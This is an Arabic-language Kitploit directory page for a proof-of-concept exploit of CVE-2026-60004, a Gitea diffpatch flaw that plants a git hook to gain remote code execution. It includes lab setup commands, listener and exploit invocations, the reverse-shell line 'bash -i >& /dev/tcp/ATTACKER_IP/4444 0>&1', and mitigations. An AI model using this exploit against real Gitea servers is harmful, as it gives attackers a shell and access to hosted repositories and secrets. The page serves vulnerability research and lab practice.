Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-60004 — Gitea diffpatch RCE | Kitploit
أدوات/GitHubGitHub/eqstlab/cve-2026-60004
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمتطوير الحمولاتمختبرات وتدريب عملي
GitHubeqstlab/cve-2026-60004

CVE-2026-60004

Gitea diffpatch RCE

عرض المستودع
1منذ 2 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★


نظرة عامة

CVE-2026-60004 هي ثغرة تنفيذ برمجيات عن بُعد (RCE) في Gitea. تقوم واجهة برمجة التطبيقات diffpatch بتطبيق تصحيح مُقدَّم عبر git apply --cached، وهو أمر يجب أن يُحدِّث الفهرس فقط ولا يكتب الملفات إلى القرص أبدًا. من خلال إرسال نفس التصحيح مرتين، يمكن للمهاجم إجبار حدوث تعارض إضافة/إضافة (add/add) يؤدي إلى تفعيل الدمج ثلاثي الاتجاهات (-3) في Git. هذا المسار يتجاهل --cached ويستخرج الملف إلى شجرة العمل. ولأن النسخة المؤقتة bare، فإن جذر شجرة العمل الخاص بها هو $GIT_DIR. وبالتالي فإن التصحيح الذي ينشئ خطاف hooks/post-index-change قابلًا للتنفيذ يقوم بتثبيت خطاف Git نشط. ينفذ Git الخطاف عند التحديث التالي للفهرس، مما يسمح بتنفيذ الأوامر بحساب خدمة Gitea. يتطلب هذا المسار صلاحية كتابة في المستودع. إذا كان التسجيل مفتوحًا، يمكن للمستخدم إنشاء حساب وإنشاء مستودع والوصول إلى المسار البرمجي المعرض للثغرة.


الإصدارات المتأثرة

الفئةالإصدار
المتأثرGitea1.17 حتى 1.27.0
تم إصلاحهGitea1.27.1 أو أحدث

التأثير

  • تنفيذ برمجيات عن بُعد بحساب خدمة Gitea (git)
  • الوصول إلى المستودعات المستضافة والأسرار المتاحة لحساب الخدمة
  • احتمال الوصول إلى إعدادات Gitea وبيانات اعتماد قاعدة البيانات

البيئة

قم ببناء وتشغيل بيئة Gitea المعرضة للثغرة من مجلد lab. تستخدم الصورة Gitea 1.27.0 وتترك التسجيل مفعّلًا.

root@kitploit:~
docker build -t cve-2026-60004 .
docker run --rm -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004

افتح http://127.0.0.1:3000 في المتصفح.

الشرط المسبقالحالة في هذا المختبر
Gitea 1.17–1.27.01.27.0
Git 2.32+ على الخادممضمّن في الصورة الرسمية
التسجيل المفتوحمفعّل
صلاحية الكتابة في المستودعيتم الحصول عليها عبر حساب مسجَّل ذاتيًا ومستودع مملوك

إثبات المفهوم

استخدم إثبات المفهوم هذا فقط في بيئة معزولة تملكها أو مصرَّح لك باختبارها صراحةً.

الخطوة 1. إنشاء حساب ومستودع

  1. سجّل حسابًا عاديًا عبر واجهة الويب على /user/sign_up.
  2. أنشئ مستودعًا تحت هذا الحساب.
  3. اختر Initialize Repository ليكون فرع main موجودًا.

يستخدم reverse_shell.py القيمة المُمرَّرة إلى --user كاسم مستخدم المصادقة الأساسية (Basic Authentication) وكمالك المستودع. لذلك يجب أن يكون المستودع الهدف مملوكًا لذلك المستخدم.

الخطوة 2. تشغيل مستمع

على مضيف الاستدعاء، شغّل مستمعًا قبل تشغيل الاستغلال:

root@kitploit:~
ncat -lvnp 4444

يجب أن يكون عنوان الاستدعاء قابلًا للوصول من حاوية Gitea. عندما يعمل المستمع على مضيف Docker، لا تستخدم 127.0.0.1 كقيمة --lhost؛ استخدم عنوانًا يمكن للحاوية الوصول إليه، مثل عنوان الشبكة المحلية للمضيف.

الخطوة 3. تسليم حمولة الصدفة العكسية

شغّل البرنامج النصي من مجلد lab واستبدل القيم النائبة:

root@kitploit:~
python3 poc.py \
  --url http://<TARGET_IP>:3000 \
  --user <USER> \
  --pw <PASSWORD> \
  --repo <REPOSITORY> \
  --lhost <ATTACKER_IP> \
  --lport 4444

ينفذ البرنامج النصي الإجراءات التالية تلقائيًا:

  1. ينشئ الأمر bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1.
  2. يرمّز الأمر بـ Base64 قبل تضمينه في الخطاف.
  3. يحسب SHA-1 لـ Git blob لمحتوى الخطاف المُنشأ.
  4. يبني تصحيحًا قابلًا للتنفيذ باسم hooks/post-index-change.
  5. يرسل نفس التصحيح مرتين إلى POST /api/v1/repos/USER/REPO/diffpatch.

يؤدي الطلب المتكرر إلى تفعيل آلية الدمج ثلاثي الاتجاهات الاحتياطية التي تكتب الخطاف في $GIT_DIR/hooks/. بعد ذلك يفتح الخطاف اتصال الصدفة العكسية بحساب خدمة Gitea.

يمكن أن يظل طلب HTTP الثاني مفتوحًا أثناء عمل الصدفة العكسية. افتراضيًا، ينتظر البرنامج النصي حتى 300 ثانية ويتعامل مع انتهاء مهلة الطلب الثاني كاحتمال نجاح الاستدعاء. استخدم --timeout لتغيير هذه القيمة:

root@kitploit:~
python3 reverse_shell.py \
  --url http://TARGET_IP:3000 \
  --user USER \
  --pw PASSWORD \
  --repo REPO \
  --lhost ATTACKER_IP \
  --timeout 60

إعادة استخدام مستودع بعد محاولة ناجحة قد تترك مسار الخطاف مشغولًا. أنشئ مستودعًا جديدًا مُهيأً قبل إعادة المحاولة.

الخطوة 4. تأكيد الصدفة

في المستمع، تحقق من سياق التنفيذ:

root@kitploit:~
id
uid=1000(git) gid=1000(git) groups=1000(git),1000(git)

يجب أن تعمل الصدفة بصلاحيات حساب خدمة Gitea (git).


الخيارات

يستخدم البرنامج النصي مكتبة بايثون القياسية فقط ولا يتطلب حزم بايثون خارجية.



التنظيف

root@kitploit:~
docker stop cve-2026-60004

نظرًا لأن الحاوية بدأت باستخدام --rm، سيقوم Docker بإزالتها بعد توقفها.


التخفيف

  • قم بترقية Gitea إلى 1.27.1 أو أحدث.
  • عطّل التسجيل المفتوح عندما لا يكون مطلوبًا (DISABLE_REGISTRATION=true).
  • قيّد إنشاء المستودعات وصلاحية الكتابة على المستخدمين الموثوقين.
  • قيّد الوصول إلى شبكة Gitea والاتصالات الصادرة من الخدمة.

التحليل

  • KR:
  • EN:
تنزيل الأداة
الخيارمطلوبالافتراضيالوصف
--urlنعم—رابط Gitea الأساسي، على سبيل المثالhttp://127.0.0.1:3000
--userنعم—اسم مستخدم المصادقة الأساسية ومالك المستودع
--pwنعم—كلمة مرور الحساب
--repoنعم—اسم المستودع المُهيأ
--lhostنعم—عنوان استدعاء الصدفة العكسية القابل للوصول من الهدف
--lportلا4444منفذ استدعاء الصدفة العكسية
--branchلاmainفرع الهدف الحالي
--timeoutلا300مهلة كل طلب HTTP، بالثواني